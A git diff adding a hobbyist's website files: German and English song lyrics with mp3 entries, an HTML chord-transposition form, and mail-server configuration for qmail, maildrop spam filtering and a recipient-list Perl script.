11Gab ihm die Pfeiffe mit und den roten Rubelschein,
12goss vom Vodka sich noch in die trockne Kehle,
13ging mit schwerem Bauernschritt, auf dem ausgefahrnen Weg,
14zu den Haeusern, die wir in der Ferne sahen.
15
16 Es zieh'n die Soehne los, sind noch nicht mal richtig gross,
17 sie sind lange nach dem letzten Krieg geboren,
18 doch der Mann weiss sicher noch, wie das Brot des Krieges roch,
19 sicher hat er seinen Vater dort verloren.
20
21Und nun fragt ihn doch einmal, ob er euer Muenchen braucht,
22euer Dortmund, euer Bonn und euer Bremen,
23einen Fluch gaeb er zurueck und die Bitterkeit im Blick
24sollte der, der ihn das fragt, nicht uebel nehmen.
25
26 Es zieh'n die Soehne los, sind noch nicht mal richtig gross,
27 sie sind lange nach dem letzten Krieg geboren,
28 doch der Mann weiss sicher noch, wie das Brot des Krieges roch,
29 sicher hat er seinen Vater dort verloren.
diff --git a/files/arts/music/Soehne.mp3 b/files/arts/music/Soehne.mp3
new file mode 100644
index 0000000..05acf93
--- /dev/null
+++ b/files/arts/music/Soehne.mp3
Binary files differ
diff --git a/files/arts/music/Sven b/files/arts/music/Sven
new file mode 100755
index 0000000..5dba884
--- /dev/null
+++ b/files/arts/music/Sven
@@ -0,0 +1,26 @@
1Du bist einfach fortgeflogen, kleiner Papagei.
2Ich gab dir blo C4 zu naschen, jetzt haben wir die Sauerei.
3Und nun zierst du meine Wand, Gott es tut mir ja so leid.
4Ich werd nie wieder mit dir spielen knnen, es war 'ne schne Zeit.
5
6Tschi, lieber Sven, ich werd dich nie vergessen.
7Tschi, lieber Sven, ich war so auf dich versessen.
8
9Wir waren auch im Kernkraftwerk... Ruland, Tschernobyl.
10Und als wir nacher drauen waren, hattest du ein Bein zu viel.
11Doch auch nicht fr lange Zeit, denn ich dachte mir,
12ich mach es einfach ab, ich trag es heute noch bei mir.
13
14Ich trag dich jetzt an meinem Herz, zumindest deinen Schnabel.
15Denn bei der groen Explosion traf er meinen Nabel.
16
17Weit du noch am ersten Tag, unser Freudentanz...
18er dauerte bis Mami rief: "La doch den Vogel ganz!"
19Was soll ich nur von dir begraben? Flgel oder Fu?
20Ich stopf dich in den Blumentopf nach einem letzten Ku!
21
22Doch gleich morgen hol ich mir aus dem Zoo
23einen neuen Sven und geb ihm deine Haribo
24
25Hallo, neuer Sven, du bist ja ganz na!
26Hallo, neuer Sven, in der Mikrowelle trocknen wir sowas! \ No newline at end of file
diff --git a/files/arts/music/Sven.mp3 b/files/arts/music/Sven.mp3
new file mode 100644
index 0000000..1eb0918
--- /dev/null
+++ b/files/arts/music/Sven.mp3
Binary files differ
diff --git a/files/arts/music/Tonite b/files/arts/music/Tonite
new file mode 100644
index 0000000..06af10d
--- /dev/null
+++ b/files/arts/music/Tonite
@@ -0,0 +1,34 @@
1c moll G Dur GisDur B Dur
2c moll G Dur GisDur G Dur
3DisDur B Dur G Dur GisDur
4F Dur G Dur
5
6DisDur B Dur CisDur GisDur
7DisDur B Dur C moll
8G Dur GisDur
9B Dur ///
10
11Moon and stars wait for dark
12they come out at night.
13They won't stay here for day,
14wanna see them shine bright,
15see them tonite.
16... see them tonite!
17
18Leaves in brown leave a frown
19on the sunny face.
20They won't stay here for may,
21wanna see them at all,
22see them this fall.
23... see them this fall!
24
25You and me, need to see.
26our choice is free,
27to follow the signs we do see
28and be whatever we'll be.
29
30I sit here, watch the moon,
31stars and leaves fly by
32I won't stay here for day,
33if you want me holding you tight
34see me tonite.
diff --git a/files/arts/music/Tonitev1.mp3 b/files/arts/music/Tonitev1.mp3
new file mode 100644
index 0000000..06d6817
--- /dev/null
+++ b/files/arts/music/Tonitev1.mp3
Binary files differ
diff --git a/files/arts/music/Tonitev2.mp3 b/files/arts/music/Tonitev2.mp3
new file mode 100644
index 0000000..4b71a0d
--- /dev/null
+++ b/files/arts/music/Tonitev2.mp3
Binary files differ
diff --git a/files/arts/music/Turing_Galaxy.mp3 b/files/arts/music/Turing_Galaxy.mp3
new file mode 100644
index 0000000..76b8dcc
--- /dev/null
+++ b/files/arts/music/Turing_Galaxy.mp3
Binary files differ
diff --git a/files/arts/music/Wahrheit.mp3 b/files/arts/music/Wahrheit.mp3
new file mode 100644
index 0000000..1132c5a
--- /dev/null
+++ b/files/arts/music/Wahrheit.mp3
Binary files differ
diff --git a/files/arts/music/Wahrheit_Intro.mp3 b/files/arts/music/Wahrheit_Intro.mp3
new file mode 100644
index 0000000..97e757f
--- /dev/null
+++ b/files/arts/music/Wahrheit_Intro.mp3
Binary files differ
diff --git a/files/arts/music/Wahrheit_Intro_Bombast.mp3 b/files/arts/music/Wahrheit_Intro_Bombast.mp3
new file mode 100644
index 0000000..c5d1a50
--- /dev/null
+++ b/files/arts/music/Wahrheit_Intro_Bombast.mp3
Binary files differ
diff --git a/files/arts/music/WarmeGedanken.mp3 b/files/arts/music/WarmeGedanken.mp3
new file mode 100644
index 0000000..8c4fb17
--- /dev/null
+++ b/files/arts/music/WarmeGedanken.mp3
Binary files differ
diff --git a/files/arts/music/Wiese b/files/arts/music/Wiese
new file mode 100644
index 0000000..e2042a4
--- /dev/null
+++ b/files/arts/music/Wiese
@@ -0,0 +1,34 @@
1Als schon verdorrt Frucht/
2Ziehst du in deine Schlacht/
3Und tiefe Furchen in dein Feld/
4Mit deinem eisernen Pflug/
5
6 Und dann liegst du auf der Wiese/
7 Guckst dir den Sternenhimmel an/
8 Doch die Tapete broeckelt leise/
9 Und sie faellt auf dich herab/
10
11Nach dem ersten grossen Sturm/
12Saehst du deine Liebe aus/
13Legst deinen Samen auf dein Feld/
14Und bedeckst ihn mit Zeit/
15
16 Und dann liegst du auf der Wiese/
17 Und schaust am Sonnenlicht vorbei/
18 Ach, der Himmel scheint so trostlos/
19 Und er faellt auf dich herab/
20
21Auf die Duerre folgt der Herbst/
22Du schaust auf dein braches Feld/
23Von Ratten ist das Korn zernagt/
24Die Sense steht fuer dich bereit/
25
26 Und dann liegst du auf der Wiese/
27 Und schaust dir die Wuermer an/
28 Ach, das warten dauert ewig/
29 Endlich zieht es dich hinab/
30
31 Und dann liegst du auf der Wiese/
32 Und starrst das letzte Mal zum Mond/
33 Durch die Loecher in dem Holz/
34 Das man fuer dich vergraben wird/
diff --git a/files/arts/music/Wiese.mp3 b/files/arts/music/Wiese.mp3
new file mode 100644
index 0000000..4d1b224
--- /dev/null
+++ b/files/arts/music/Wiese.mp3
Binary files differ
diff --git a/files/arts/music/content-transpose.html b/files/arts/music/content-transpose.html
new file mode 100644
index 0000000..e8f29a8
--- /dev/null
+++ b/files/arts/music/content-transpose.html
@@ -0,0 +1,127 @@
1<CENTER>
2<FORM METHOD=POST ACTION="http://erdgeist.org/arts/music/transpose.html">
3<TABLE>
4<TR>
5<TD>
6 <TABLE BORDER=1>
7 <TR>
8 <TD WIDTH=20><B>C</B></TD>
9 <TD WIDTH=60>
10 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-00" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
11 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-01" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
12 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-02" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
13 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-03" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
14 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-04" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
15 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-05" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
16 </TD>
17 <TD WIDTH=20><B>D</B></TD>
18 <TD WIDTH=60>
19 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-20" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
20 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-21" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
21 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-22" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
22 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-23" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
23 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-24" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
24 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-25" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
25 </TD>
26 <TD WIDTH=20><B>E</B></TD>
27 <TD WIDTH=60>
28 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-40" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
29 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-41" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
30 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-42" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
31 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-43" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
32 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-44" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
33 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-45" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
34 </TD>
35 <TD WIDTH=20><B>F</B></TD>
36 <TD WIDTH=60>
37 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-50" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
38 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-51" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
39 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-52" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
40 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-53" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
41 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-54" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
42 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-55" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
43 </TD>
44 <TD WIDTH=20><B>G</B></TD>
45 <TD WIDTH=60>
46 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-70" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
47 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-71" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
48 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-72" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
49 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-73" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
50 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-74" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
51 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-75" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
52 </TD>
53 <TD WIDTH=20><B>A</B></TD>
54 <TD WIDTH=60>
55 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-90" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
56 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-91" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
57 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-92" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
58 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-93" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
59 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-94" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
60 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-95" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
61 </TD>
62 <TD WIDTH=20><B>H</B></TD>
63 <TD WIDTH=60>
64 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B0" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
65 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B1" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
66 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B2" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
67 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B3" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
68 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B4" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
69 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-B5" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
70 </TD>
71 </TR><TR>
72 <TD WIDTH=20><B>C#</B></TD>
73 <TD WIDTH=60>
74 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-10" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
75 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-11" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
76 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-12" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
77 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-13" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
78 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-14" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
79 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-15" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
80 </TD>
81 <TD WIDTH=20><B>D#</B></TD>
82 <TD WIDTH=60>
83 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-30" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
84 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-31" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
85 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-32" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
86 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-33" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
87 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-34" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
88 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-35" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
89 </TD>
90 <TD WIDTH=20></TD><TD WIDTH=60></TD>
91 <TD WIDTH=20><B>F#</B></TD>
92 <TD WIDTH=60>
93 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-60" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
94 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-61" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
95 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-62" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
96 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-63" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
97 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-64" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
98 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-65" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
99 </TD>
100 <TD WIDTH=20><B>G#</B></TD>
101 <TD WIDTH=60>
102 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-80" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
103 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-81" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
104 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-82" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
105 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-83" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
106 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-84" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
107 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-85" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
108 </TD>
109 <TD WIDTH=20><B>A#<BR/>=B</B></TD>
110 <TD WIDTH=60>
111 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A0" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/>
112 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A1" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/>
113 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A2" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/>
114 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A3" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/>
115 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A4" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/>
116 <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-A5" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/>
117 </TD>
118 <TD WIDTH=20></TD><TD WIDTH=60></TD>
119 </TR>
120 </TABLE>
121</TD>
122</TR>
123</TABLE>
124<INPUT TYPE=RESET VALUE="Clear">
125<INPUT TYPE=SUBMIT NAME="" VALUE="Transponieren!">
126</FORM>
127</CENTER>
diff --git a/files/arts/music/content.html b/files/arts/music/content.html
new file mode 100644
index 0000000..7524ec8
--- /dev/null
+++ b/files/arts/music/content.html
@@ -0,0 +1,21 @@
1<UL><LI><H3>Tools</H3></LI><P>
2<A HREF=index-transpose.html>My transpose tool</A>
3</P><LI><H3>Band mp3's</H3></LI><P>
4<table width=60%><tr><td>Hero of the day, <A HREF=Herov1.mp3>v1</A> <A HREF=Herov2.mp3>v2</A> <A HREF=../../band/Hero_vBand.mp3>Band</A></td><td><A HREF=Hero>Text</A></td><td>(2002)</td></tr>
5<tr><td><A HREF=Soehne.mp3>Es ziehn die Soehne</A><BR/>Kaspar singt die Strophe :)</td><td> <A HREF=Soehne>Text</A></td><td>(2002)</td></tr>
6<tr><td>Tonite (pre-release), <A HREF=Tonitev1.mp3>v1</A> <A HREF=Tonitev2.mp3>v2</A></td><td><A HREF=Tonite>Text</A></td><td>(2002)</td></tr>
7</table>
8</P><LI><H3>mp3's</H3></LI><P>
9<table width=60%>
10
11<tr><td><A HREF=Fine.mp3>Fine</A></td><td><A HREF=Fine.txt>Text</A></td><td>(2004)</td></tr>
12<tr><td><A HREF=Pimmelterrorist.mp3>Pimmelterrorist</A></td><td><A HREF=Pimmelterrorist>Text</A></td><td>(2003)</td></tr>
13<tr><td><A HREF=Schnee_im_April.mp3>Schnee im April</A></td><td><A HREF=Schnee_im_April>Text</A></td><td>(2002)</td></tr>
14<tr><td><A HREF=No%20Angel%20Yet.mp3>No Angel Yet</A><BR/>... der Text is aber geklaut</td><td><A HREF=No%20Angel%20Yet.txt>Text</td><td>(2002)</td></tr>
15<tr><td><A HREF=Hoerig.mp3>Hrig</A></td><td><A HREF=Hoerig.txt>Text</A></td><td>(2000)</td></tr>
16<tr><td><A HREF=Wiese.mp3>Wiese</A></td><td><A HREF=Wiese>Text</A></td><td>(1999)</td></tr>
17<tr><td><A HREF=Alte_Zeiten.mp3>Alte Zeiten</td><td><A HREF=AlteZeiten>Text</A></td><td>(1998)</td></tr>
18<tr><td><A HREF=Frau%20Kr%fcger.mp3>Frau Krger</td><td><A HREF=FrauKrueger>Text</A></td><td>(1997)</td></tr>
19<tr><td><A HREF=Sven.mp3>Sven</A><BR/>... ich war jung und ich brauchte das Geld ;)</td><td><A HREF=Sven>Text</A></td><td>(1996)</td></tr>
20</table>
21</P></UL>
diff --git a/files/arts/software/.DS_Store b/files/arts/software/.DS_Store
new file mode 100644
index 0000000..5008ddf
--- /dev/null
+++ b/files/arts/software/.DS_Store
Binary files differ
diff --git a/files/arts/software/Code/elektropost/auth.patch.diff-tls b/files/arts/software/Code/elektropost/auth.patch.diff-tls
new file mode 100644
index 0000000..2960def
--- /dev/null
+++ b/files/arts/software/Code/elektropost/auth.patch.diff-tls
@@ -0,0 +1,141 @@
1*** auth.patch.orig Fri May 10 07:41:20 2002
2--- auth.patch Thu Jan 9 15:22:06 2014
3***************
4*** 14,42 ****
5 binm1.sh conf-qmail
6 cat binm1.sh \
7 ***************
8! *** 1536,1547 ****
9 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \
10 date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \
11 open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \
12 ! fs.a auto_qmail.o socket.lib
13 ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \
14 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \
15 received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \
16 datetime.a getln.a open.a sig.a case.a env.a stralloc.a \
17 ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o `cat \
18 socket.lib`
19
20 qmail-smtpd.0: \
21! --- 1540,1551 ----
22 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \
23 date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \
24 open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \
25 ! fs.a auto_qmail.o base64.o socket.lib
26 ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \
27 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \
28 received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \
29 datetime.a getln.a open.a sig.a case.a env.a stralloc.a \
30! ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o base64.o `cat \
31 socket.lib`
32
33 qmail-smtpd.0: \
34--- 14,44 ----
35 binm1.sh conf-qmail
36 cat binm1.sh \
37 ***************
38! *** 1537,1549 ****
39 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \
40 date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \
41 open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \
42 ! fs.a auto_qmail.o socket.lib
43 ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \
44 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \
45+ tls.o ssl_timeoutio.o ndelay.a -L/usr/local/ssl/lib -lssl -lcrypto \
46 received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \
47 datetime.a getln.a open.a sig.a case.a env.a stralloc.a \
48 ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o `cat \
49 socket.lib`
50
51 qmail-smtpd.0: \
52! --- 1541,1553 ----
53 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o received.o \
54 date822fmt.o now.o qmail.o cdb.a fd.a wait.a datetime.a getln.a \
55 open.a sig.a case.a env.a stralloc.a alloc.a substdio.a error.a str.a \
56 ! fs.a auto_qmail.o base64.o socket.lib
57 ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \
58 timeoutwrite.o ip.o ipme.o ipalloc.o control.o constmap.o \
59+ tls.o ssl_timeoutio.o ndelay.a -L/usr/local/ssl/lib -lssl -lcrypto \
60 received.o date822fmt.o now.o qmail.o cdb.a fd.a wait.a \
61 datetime.a getln.a open.a sig.a case.a env.a stralloc.a \
62! ! alloc.a substdio.a error.a str.a fs.a auto_qmail.o base64.o `cat \
63 socket.lib`
64
65 qmail-smtpd.0: \
66***************
67*** 174,203 ****
68 stralloc greeting = {0};
69
70 ***************
71! *** 229,235 ****
72! }
73 void smtp_ehlo(arg) char *arg;
74 {
75! ! smtp_greet("250-"); out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n");
76 seenmail = 0; dohelo(arg);
77! }
78! void smtp_rset()
79! --- 241,255 ----
80! }
81 void smtp_ehlo(arg) char *arg;
82 {
83! ! smtp_greet("250-");
84! ! #ifdef AUTHCRAM
85 ! out("\r\n250-AUTH LOGIN CRAM-MD5 PLAIN");
86 ! out("\r\n250-AUTH=LOGIN CRAM-MD5 PLAIN");
87 ! #else
88 ! out("\r\n250-AUTH LOGIN PLAIN");
89 ! out("\r\n250-AUTH=LOGIN PLAIN");
90 ! #endif
91! ! out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n");
92 seenmail = 0; dohelo(arg);
93- }
94- void smtp_rset()
95 ***************
96 *** 394,403 ****
97 --- 414,639 ----
98--- 176,218 ----
99 stralloc greeting = {0};
100
101 ***************
102! *** 265,273 ****
103 void smtp_ehlo(arg) char *arg;
104 {
105! smtp_greet("250-");
106! #ifdef TLS
107! ! if (!ssl && (stat("control/servercert.pem",&st) == 0))
108! ! out("\r\n250-STARTTLS");
109! #endif
110! out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n");
111 seenmail = 0; dohelo(arg);
112! --- 277,302 ----
113 void smtp_ehlo(arg) char *arg;
114 {
115! smtp_greet("250-");
116! + #ifdef AUTHCRAM
117! #ifdef TLS
118! ! out("\r\n250-AUTH LOGIN CRAM-MD5 PLAIN");
119! ! out("\r\n250-AUTH=LOGIN CRAM-MD5 PLAIN");
120! ! if (!ssl && (stat("control/servercert.pem",&st) == 0))
121! ! out("\r\n250-STARTTLS");
122! ! #else
123 ! out("\r\n250-AUTH LOGIN CRAM-MD5 PLAIN");
124 ! out("\r\n250-AUTH=LOGIN CRAM-MD5 PLAIN");
125+ ! #endif
126+ ! #else
127+ ! #ifdef TLS
128+ ! out("\r\n250-AUTH LOGIN PLAIN");
129+ ! out("\r\n250-AUTH=LOGIN PLAIN");
130+ ! if (!ssl && (stat("control/servercert.pem",&st) == 0))
131+ ! out("\r\n250-STARTTLS");
132 ! #else
133 ! out("\r\n250-AUTH LOGIN PLAIN");
134 ! out("\r\n250-AUTH=LOGIN PLAIN");
135 ! #endif
136! #endif
137! out("\r\n250-PIPELINING\r\n250 8BITMIME\r\n");
138 seenmail = 0; dohelo(arg);
139 ***************
140 *** 394,403 ****
141 --- 414,639 ----
diff --git a/files/arts/software/Code/elektropost/maildroprc b/files/arts/software/Code/elektropost/maildroprc
new file mode 100644
index 0000000..5d07a7c
--- /dev/null
+++ b/files/arts/software/Code/elektropost/maildroprc
@@ -0,0 +1,21 @@
1import EXT
2import HOST
3
4#This just bloody won't work for me.. don't know why
5VHOME=`/usr/local/vpopmail/bin/vuserinfo -d $EXT@$HOST`
6#VHOME=/usr/local/vpopmail/domains/$HOST/$EXT
7
8if (/^X-Spam-Flag: *YES/)
9{
10 exception {
11 TMP=`if [ ! -d $VHOME/Maildir/.Junk ]; then /usr/local/bin/maildirmake -f Junk $VHOME/Maildir/; fi`
12 TMP=`if ! grep -q ^Junk$ $VHOME/Maildir/.subscriptions; then echo Junk >> $VHOME/Maildir/.subscriptions; fi`
13 to "$VHOME/Maildir/.Junk/"
14 }
15}
16else
17{
18 exception {
19 to "$VHOME/Maildir/"
20 }
21}
diff --git a/files/arts/software/Code/elektropost/mkvalidrcptto b/files/arts/software/Code/elektropost/mkvalidrcptto
new file mode 100755
index 0000000..5b03fbb
--- /dev/null
+++ b/files/arts/software/Code/elektropost/mkvalidrcptto
@@ -0,0 +1,826 @@
1#!/usr/bin/perl -w
2#
3# mkvalidrcptto
4# John Simpson <jms1@jms1.net> 2005-04-20
5#
6# reads qmail control files and builds a list of all valid email addresses
7# on the system.
8#
9# 2005-05-04 jms1 - cleaned up the code a little bit. holding the output in
10# memory until the whole thing is done so that partial output doesn't
11# become an issue. it also makes it possible to create a cdb file directly,
12# but i don't think i'm going to do that- i like the "chaining" approach
13# better, piping this script's output through "cdbmake-12" to produce the
14# cdb file.
15#
16# 2005-05-09 jms1 - changing the vpopmail user info process. instead of
17# reading vpasswd.cdb, using "vuserinfo -D {domain}" and parsing that
18# output. this should include mysql user information for people who are
19# using vpopmail with mysql. Thanks to Roman Volf on the qmailrocks
20# mailing list for pointing this out.
21#
22# 2005-06-09 jms1 - adding support for "fastforward" aliases.
23#
24# 2005-06-18 jms1 - finishing support for .qmail-* files in local user home
25# directories... i don't ever use local users for mailboxes myself, so it
